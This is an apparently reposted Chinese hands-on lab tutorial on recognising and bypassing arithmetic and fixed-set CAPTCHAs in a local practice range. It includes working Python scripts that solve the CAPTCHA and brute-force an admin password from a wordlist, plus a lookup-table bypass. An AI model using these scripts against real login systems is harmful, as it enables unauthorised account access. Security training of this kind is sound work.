搜索

[19316] 2018-05-18_【动手实验】特殊验证码识别与利用

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2018-05-18_【动手实验】特殊验证码识别与利用 【 动 手 实 验 】 特 殊 验 证 码 识 别 与 利 用 i 春 秋   i 春 秋   2 0 1 8 - 0 5 - 1 8 实 验 环 境 实 验 环 境 操 作 机 ： W i n d o w s   X P I P ： 1 7 2 . 1 6 . 1 1 . 2 实 验 目 的 实 验 目 的 了 解 特 殊 验 证 码 的 种 类 学 习 计 算 型 验 证 码 的 识 别 与 利 用 学 习 固 定 型 验 证 码 的 识 别 与 利 用 实 验 工 具 实 验 工 具 b u r p s u i t e B u r p   S u i t e   是 用 于 攻 击 w e b   应 用 程 序 的 集 成 平 台 。 它 包 含 了 许 多 工 具 ， 并 为 这 些 工 具 设 计 了 许 多 接 口 ， 以 促 进 加 快 攻 击 应 用 程 序 的 过 程 。 P y t h o n 是 一 种 面 向 对 象 的 解 释 型 计 算 机 程 序 设 计 语 言 ， 可 快 速 开 发 实 用 的 小 脚 本 。 实 验 步 骤 实 验 步 骤 步 骤 一 ： 了 解 特 殊 验 证 码 的 种 类 步 骤 一 ： 了 解 特 殊 验 证 码 的 种 类 验 证 码 的 目 的 是 不 让 计 算 机 通 过 验 证 ， 从 而 阻 止 人 们 用 计 算 机 做 其 不 应 该 做 的 事 情 。 达 到 区 分 人 与 计 算 机 。   验 证 码 不 仅 仅 局 限 于 图 形 、 短 信 、 语 音 等 常 见 的 验 证 码 ， 也 包 含 一 些 特 殊 验 证 码 。 特 殊 验 证 码 大 致 有 ： 计 算 型 验 证 码 计 算 型 验 证 码 需 要 计 算 出 答 案 固 定 型 验 证 码 固 定 型 验 证 码 验 证 码 的 值 不 是 随 机 生 成 ， 验 证 码 的 数 量 固 定 。
无 知 识 型 验 证 码 无 知 识 型 验 证 码 无 知 识 型 验 证 码 最 大 的 特 点 是 不 再 基 于 知 识 进 行 人 机 判 断 ， 而 是 基 于 人 类 固 有 的 生 物 特 征 以 及 操 作 的 环 境 信 息 综 合 决 策 ， 来 判 断 是 人 类 还 是 机 器 。 无 知 识 型 验 证 码 最 大 特 点 即 无 需 人 类 思 考 ， 从 而 不 会 打 断 用 户 操 作 ， 进 而 提 供 更 好 的 用 户 体 验 。 如 G o o g l e 的 新 版 R e C a p t c h a 。 阿 里 巴 巴 的 滑 动 验 证 ： 创 新 知 识 型 验 证 码 创 新 知 识 型 验 证 码 例 如 ： 1 2 3 0 6 的 验 证 码
步 骤 二 ： 学 习 计 算 型 验 证 码 的 识 别 与 利 用 步 骤 二 ： 学 习 计 算 型 验 证 码 的 识 别 与 利 用 第 一 步 ： 打 开 第 一 步 ： 打 开 “ 验 证 码 安 全 演 示 系 统 验 证 码 安 全 演 示 系 统 ” 靶 场 靶 场 打 开 桌 面 上 的 M o z i l l a   F i r e f o x 浏 览 器 。 浏 览 器 会 自 动 进 入 到 “ 验 证 码 安 全 演 示 系 统 ” 靶 场 第 二 步 ： 计 算 型 验 证 码 的 识 别 脚 本 编 写 第 二 步 ： 计 算 型 验 证 码 的 识 别 脚 本 编 写 打 开 靶 场 左 侧 的 “ 计 算 型 验 证 码 绕 过 ” 栏 目
输 入 账 号 与 密 码 ， 并 计 算 验 证 码 ， 点 击 L o g i n 提 示 登 录 失 败 此 处 使 用 了 计 算 型 验 证 码 ， 导 致 我 们 无 法 利 用 b u r p 进 行 爆 破 ， 可 使 用 p y t h o n 编 写 验 证 码 识 别 脚 本 。 i m p o r t   r e q u e s t s i m p o r t   r e u r l = " h t t p : / / 1 2 7 . 0 . 0 . 1 / v u l n e r a b i l i t i e s / b u r t f o r c e / b f _ n u m b e r . p h p " s e s s i o n   =   r e q u e s t s . S e s s i o n ( )   / / r e q u e s t s 库 的 s e s s i o n 对 象 能 够 帮 我 们 跨 请 求 保 持 某 些 参 数 ， 也 会 在 同 一 个 s e s s i o n 实 例 发 出 的 所 有 请 求 之 间 保 持 c o o k i e s r e s p o n s e   =   s e s s i o n . g e t ( u r l )   / / 用 s e s s i o n 对 象 发 出 g e t 请 求 ， 设 置 c o o k i e s c a   =   r e . f i n d a l l ( r ' [ ( . * ? ) ] ' ,   r e s p o n s e . c o n t e n t )   / / 使 用 正 则 匹 配 出 [ ] 中 的 内 容 p r i n t   " " . j o i n ( c a ) . s p l i t ( " + " ) a   =   " " . j o i n ( c a ) . s p l i t ( " + " ) [ 0 ] / / 用 + 分 割 每 一 个 数 字 b   =   " " . j o i n ( c a ) . s p l i t ( " + " ) [ 1 ] c a p t c h a   =   s t r ( i n t ( a )   +   i n t ( b ) )   / / 计 算 验 证 码 p r i n t   c a p t c h a 使 用 r e q u e s t 库 爬 下 网 页 ， 再 利 用 r e 模 块 的 正 则 表 达 式 寻 找 数 字 ， 再 分 割 到 a 、 b 两 个 变 量 ， 再 进 行 求 和 ， 再 赋 值 给 c a p t c h a 参 数 。 至 此 ， 验 证 码 识 别 成 功 。 至 此 ， 验 证 码 识 别 成 功 。 同 学 们 ， 可 新 建 p y 文 件 ， 输 入 代 码 ， 并 进 行 运 行 测 试 。
验 证 码 成 功 计 算 出 验 证 码 成 功 计 算 出 第 三 步 ： 计 算 型 验 证 码 的 利 用 脚 本 编 写 与 测 试 第 三 步 ： 计 算 型 验 证 码 的 利 用 脚 本 编 写 与 测 试 在 验 证 码 识 别 后 ， 便 可 加 上 表 单 破 解 的 代 码 ， 进 一 步 利 用 。 完 整 代 码 为 ：
# !   / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - #   _ _ a u t h o r _ _   =   " b o w u " #   w e b s i t e : " h t t p : / / w w w . b o w u 8 . c o m " #   D a t e :   2 0 1 8 / 4 / 1 i m p o r t   s y s i m p o r t   r e q u e s t s i m p o r t r e   u r l = " h t t p : / / 1 2 7 . 0 . 0 . 1 / v u l n e r a b i l i t i e s / b u r t f o r c e / b f _ n u m b e r . p h p " d e f   B r u t e _ F o r c e _ W e b ( p o s t D a t a ) :         r e s 1   =   s e s s i o n . p o s t ( u r l ,   p o s t D a t a )         p r i n t   r e s 1 . c o n t e n t         i f   " a d m i n "   i n   r e s 1 . c o n t e n t :   / / 检 测 返 回 的 网 页 源 码 中 是 否 包 含 a d m i n                 p r i n t   ( " = " * 2 0   +   " n "   +   " C r a c k   S u c e s s ! " )                 p r i n t   ( " P a s s w o r d   i s : "   +   p a s s w d )                 e x i t ( )         e l s e :                 p r i n t   " T e s t   p a s s w o r d : " , p a s s w d , " i s   w r o n g " d e f   G e t P a s s ( ) :         f p   =   o p e n ( " p a s s w o r d . t x t " ,   " r " )   / / 读 取 字 典         i f   f p   = =   0 :                 p r i n t   ( " o p e n   f i l e   e r r o r ! " )                 r e t u r n         w h i l e   1 :                 g l o b a l   s e s s i o n                 s e s s i o n   =   r e q u e s t s . S e s s i o n ( )                 r e s p o n s e   =   s e s s i o n . g e t ( u r l )                 c a   =   r e . f i n d a l l ( r ' [ ( . * ? ) ] ' ,   r e s p o n s e . c o n t e n t )                 p r i n t   " " . j o i n ( c a ) . s p l i t ( " + " )                 a   =   " " . j o i n ( c a ) . s p l i t ( " + " ) [ 0 ]                 b   =   " " . j o i n ( c a ) . s p l i t ( " + " ) [ 1 ]                 c a p t c h a   =   s t r ( i n t ( a )   +   i n t ( b ) )                 p r i n t   c a p t c h a               l i n e   =   f p . r e a d l i n e ( )             i f   n o t   l i n e :       b r e a k                 g l o b a l   p a s s w d                 p a s s w d   =   l i n e . s t r i p ( ' n ' )                 p o s t D a t a   =   {                       ' u s e r n a m e ' :   ' a d m i n ' ,                       ' p a s s w o r d ' :   p a s s w d ,                       ' c a p t c h a ' : c a p t c h a ,                         ' s u b m i t ' :   ' L o g i n '                 }   / / 构 造 p o s t 包 中 的 各 参 数 和 值                 B r u t e _ F o r c e _ W e b ( p o s t D a t a )   G e t P a s s ( ) 文 件 保 存 在 ： C : D o c u m e n t s   a n d   S e t t i n g s i c h u n q i u 桌 面 桌 面 p y t h o n 脚 本 ， 名 为 脚 本 ， 名 为 2 . p y 使 用 命 令 行 进 入 该 文 件 夹 后 ， 输 入 命 令 ： p y t h o n   2 . p y
成 功 找 到 密 码 。 成 功 找 到 密 码 。 步 骤 步 骤 3 ： 学 习 固 定 型 验 证 码 的 识 别 与 利 用 ： 学 习 固 定 型 验 证 码 的 识 别 与 利 用 打 开 靶 场 左 侧 的 “ 固 定 型 验 证 码 绕 过 ” 栏 目 经 过 大 量 测 试 ， 可 发 现 验 证 码 数 量 有 限 ， 有 重 复 的 验 证 码 图 片 ， 再 经 过 图 片 收 集 后 ， 可 收 集 出 1 0 张 验 证 码 图 片 ， 并 且 每 张 图 片 的 < i m g s r c = ' . p n g ' 代 码 固 定 ， 例 如 ： < i m g   s r c = ' 8 . p n g ' 的 验 证 码 ， 值 为 ： 6 6 1 2 ， 直 接 可 以 从 i m g 图 片 名 中 判 断 出 验 证 码 值 ， 达 到 不 用 利 用 图 片 识 别 技 术 来 识 别 验 证 码 。 利 用 代 码 为 ：
# !   / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - #   _ _ a u t h o r _ _   =   " b o w u " #   w e b s i t e : " h t t p : / / w w w . b o w u 8 . c o m " #   D a t e :   2 0 1 8 / 4 / 1 i m p o r t   s y s i m p o r t   r e q u e s t s i m p o r t   r e u r l = " h t t p : / / 1 2 7 . 0 . 0 . 1 / v u l n e r a b i l i t i e s / b u r t f o r c e / b f _ 1 0 . p h p " u r l 2 = " h t t p : / / 1 2 7 . 0 . 0 . 1 / v u l n e r a b i l i t i e s / b u r t f o r c e / v a l i d a t e . p h p " d e f   G e t P a s s ( ) :         w h i l e   1 :                 g l o b a l   s e s s i o n                 s e s s i o n   =   r e q u e s t s . S e s s i o n ( ) / / r e q u e s t s 库 的 s e s s i o n 对 象 能 够 帮 我 们 跨 请 求 保 持 某 些 参 数 ， 也 会 在 同 一 个 s e s s i o n 实 例 发 出 的 所 有 请 求 之 间 保 持 c o o k i e s                 r e s p o n s e   =   s e s s i o n . g e t ( u r l )                 c a   =   r e . f i n d a l l ( r ' < i m g   s r c = ' ( . * ? ) . p n g ' ,   r e s p o n s e . c o n t e n t )   / / 使 用 正 则 匹 配 i m g 中 s r c 参 数 的 内 容               i m a g e n u m b e r   =     " " . j o i n ( c a )                 i f   i m a g e n u m b e r   = =   ' 0 ' :                         a n s   =   " 1 9 8 7 "                 i f   i m a g e n u m b e r   = =   ' 1 ' :                       a n s   =   " 9 2 5 9 "                 i f   i m a g e n u m b e r   = =   ' 2 ' :                         a n s   =   " 5 8 0 3 "                 i f   i m a g e n u m b e r   = =   ' 3 ' :                         a n s   =   " 7 0 2 6 "               i f   i m a g e n u m b e r   = =   ' 4 ' :                         a n s   =   " 6 8 5 9 "                 i f   i m a g e n u m b e r   = =   ' 5 ' :                         a n s   =   " 2 2 2 4 "                 i f   i m a g e n u m b e r   = =   ' 6 ' :                         a n s   =   " 8 1 9 6 "                 i f   i m a g e n u m b e r   = =   ' 7 ' :                         a n s   =   " 9 9 2 7 "                 i f   i m a g e n u m b e r   = =   ' 8 ' :                         a n s   =   " 6 6 1 2 "                 i f   i m a g e n u m b e r   = =   ' 9 ' :                         a n s   =   " 7 3 4 2 "                 c a p t c h a   =     a n s                 p o s t D a t a   =   {                         ' c a p t c h a ' : c a p t c h a ,                         ' s u b m i t ' :   ' % E 6 % 8 F % 9 0 % E 4 % B A % A 4 '                 } / / 构 造 p o s t 包 中 的 各 参 数 和 值                 r e s 1   =   s e s s i o n . p o s t ( u r l 2 ,   p o s t D a t a )               i f   " S u c c e s s "   i n   r e s 1 . c o n t e n t :                         p r i n t   ( " = "   *   2 0   +   " n "   +   " C r a c k   S u c e s s ! " )                         p r i n t   ( " c a p t c h a   i s : "   +   c a p t c h a ) / / 若 返 回 的 网 页 源 码 中 包 含 S u c c e s s ， 则 输 出 正 确 的 验 证 码                         e x i t ( )                 e l s e :                         p r i n t   " T e s t   c a p t c h a   i s   w r o n g " G e t P a s s ( ) 文 件 保 存 在 ： C : D o c u m e n t s   a n d   S e t t i n g s i c h u n q i u 桌 面 桌 面 t o o l s ， 名 为 ， 名 为 3 . p y 使 用 命 令 行 进 入 该 文 件 夹 后 ， 输 入 命 令 ： p y t h o n   3 . p y 验 证 码 成 功 识 别 验 证 码 成 功 识 别 实 验 结 果 分 析 与 总 结 实 验 结 果 分 析 与 总 结
通 过 本 实 验 我 们 了 解 了 特 殊 验 证 码 的 种 类 ， 学 习 了 如 何 使 用 p y t h o n 编 写 脚 本 对 计 算 型 验 证 码 和 固 定 型 验 证 码 的 识 别 与 利 用 。 编 辑 ： 咕 嘟 嘟 责 任 编 辑 ： M A D 小 郭 校 对 ： 小 林 龙 马 、 山 雾 草 野 、 小 南 瓜 戳 阅 读 原 文 ， 参 与 实 验 吧 戳 阅 读 原 文 ， 参 与 实 验 吧 ~ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理